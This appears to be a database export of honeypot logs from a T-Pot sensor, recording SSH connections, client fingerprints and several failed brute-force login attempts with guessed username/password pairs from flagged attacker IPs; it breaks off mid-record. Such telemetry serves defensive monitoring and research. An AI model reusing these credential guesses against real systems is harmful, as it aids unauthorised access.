26421	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:11:51.100633+03	2021-09-20 14:15:13.250646+03	{"_id": "vQbnAnwBvYTbRNuEsSC5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 294548529360388, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48864, "dest_port": 22, "timestamp": "2021-09-20T11:11:51.100633Z", "@timestamp": "2021-09-20T11:11:51.100Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26422	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:51.100798+03	2021-09-20 14:15:13.251646+03	{"_id": "vgbnAnwBvYTbRNuEsiDg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48864, "timestamp": "2021-09-20T11:11:51.100798", "@timestamp": "2021-09-20T11:11:51.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26423	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:50.856315+03	2021-09-20 14:15:13.252646+03	{"_id": "wgbnAnwBvYTbRNuEsyCA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7fe0b4e65ce8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:50.856315Z", "@timestamp": "2021-09-20T11:11:50.856Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26427	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:53.688733+03	2021-09-20 14:15:13.257647+03	{"_id": "ywbnAnwBvYTbRNuEvyA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7fe0b4e65ce8", "@version": "1", "duration": 2.866966485977173, "timestamp": "2021-09-20T11:11:53.688733Z", "@timestamp": "2021-09-20T11:11:53.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26428	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:53.802205+03	2021-09-20 14:15:13.258646+03	{"_id": "zAbnAnwBvYTbRNuEvyA6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [nothing/nothing] failed", "session": "debf483f58c7", "@version": "1", "password": "nothing", "username": "nothing", "timestamp": "2021-09-20T11:11:53.802205Z", "@timestamp": "2021-09-20T11:11:53.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26429	178.128.198.1	109.199.241.180	Suricata	2021-09-20 14:11:54.672869+03	2021-09-20 14:15:13.259646+03	{"_id": "zgbnAnwBvYTbRNuEwSBb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.198.1", "dest_ip": "192.168.20.116", "flow_id": 2013134595961208, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42726, "dest_port": 22, "timestamp": "2021-09-20T11:11:54.672869Z", "@timestamp": "2021-09-20T11:11:54.672Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26430	42.192.44.134	109.199.241.180	Fatt	2021-09-20 14:11:57.860205+03	2021-09-20 14:15:13.260646+03	{"_id": "AAbnAnwBvYTbRNuEziE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "42.192.44.134", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38944, "dest_port": 22, "timestamp": "2021-09-20T11:11:57.860205", "@timestamp": "2021-09-20T11:11:57.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26431	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:59.35805+03	2021-09-20 14:15:13.261646+03	{"_id": "DAbnAnwBvYTbRNuE0iHH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [mtr/mtr] failed", "session": "db27f4f0e0bd", "@version": "1", "password": "mtr", "username": "mtr", "timestamp": "2021-09-20T11:11:59.358050Z", "@timestamp": "2021-09-20T11:11:59.358Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26432	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:11:59.203032+03	2021-09-20 14:15:13.263646+03	{"_id": "FQbnAnwBvYTbRNuE0iHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c3688b2326f7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:11:59.203032Z", "@timestamp": "2021-09-20T11:11:59.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26433	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:11:58.92013+03	2021-09-20 14:15:13.264646+03	{"_id": "GwbnAnwBvYTbRNuE0iHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.login.failed", "message": "login attempt [clement/clement] failed", "session": "1d0997876463", "@version": "1", "password": "clement", "username": "clement", "timestamp": "2021-09-20T11:11:58.920130Z", "@timestamp": "2021-09-20T11:11:58.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26434	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:11:59.502233+03	2021-09-20 14:15:13.265647+03	{"_id": "HAbnAnwBvYTbRNuE0iHJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [xinwei/xinwei] failed", "session": "c3688b2326f7", "@version": "1", "password": "xinwei", "username": "xinwei", "timestamp": "2021-09-20T11:11:59.502233Z", "@timestamp": "2021-09-20T11:11:59.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26435	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:59.527221+03	2021-09-20 14:15:13.266647+03	{"_id": "EAbnAnwBvYTbRNuE0iHI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6fa92b1d7bed", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:59.527221Z", "@timestamp": "2021-09-20T11:11:59.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26436	91.200.124.7	109.199.241.180	Suricata	2021-09-20 14:11:59.242858+03	2021-09-20 14:15:13.267647+03	{"_id": "HQbnAnwBvYTbRNuE1CHo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 1390587676685173, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39580, "dest_port": 22, "timestamp": "2021-09-20T11:11:59.242858Z", "@timestamp": "2021-09-20T11:11:59.242Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26437	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:11:59.800251+03	2021-09-20 14:15:13.269647+03	{"_id": "IAbnAnwBvYTbRNuE1iEO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52718, "dest_port": 22, "timestamp": "2021-09-20T11:11:59.800251", "@timestamp": "2021-09-20T11:11:59.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26438	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:12:00.176112+03	2021-09-20 14:15:13.270646+03	{"_id": "IgbnAnwBvYTbRNuE1iGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "1d0997876463", "@version": "1", "duration": 2.568387269973755, "timestamp": "2021-09-20T11:12:00.176112Z", "@timestamp": "2021-09-20T11:12:00.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
26439	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:01.550277+03	2021-09-20 14:15:13.271646+03	{"_id": "JQbnAnwBvYTbRNuE2iGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:47316 (192.168.176.2:22) [session: e655c9289bd2]", "session": "e655c9289bd2", "@version": "1", "protocol": "ssh", "src_port": 47316, "dest_port": 22, "timestamp": "2021-09-20T11:12:01.550277Z", "@timestamp": "2021-09-20T11:12:01.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26440	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:12:01.551175+03	2021-09-20 14:15:13.272646+03	{"_id": "JgbnAnwBvYTbRNuE2iGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e655c9289bd2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:12:01.551175Z", "@timestamp": "2021-09-20T11:12:01.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26441	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:04.003986+03	2021-09-20 14:15:13.273646+03	{"_id": "OwbnAnwBvYTbRNuE5SGw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": 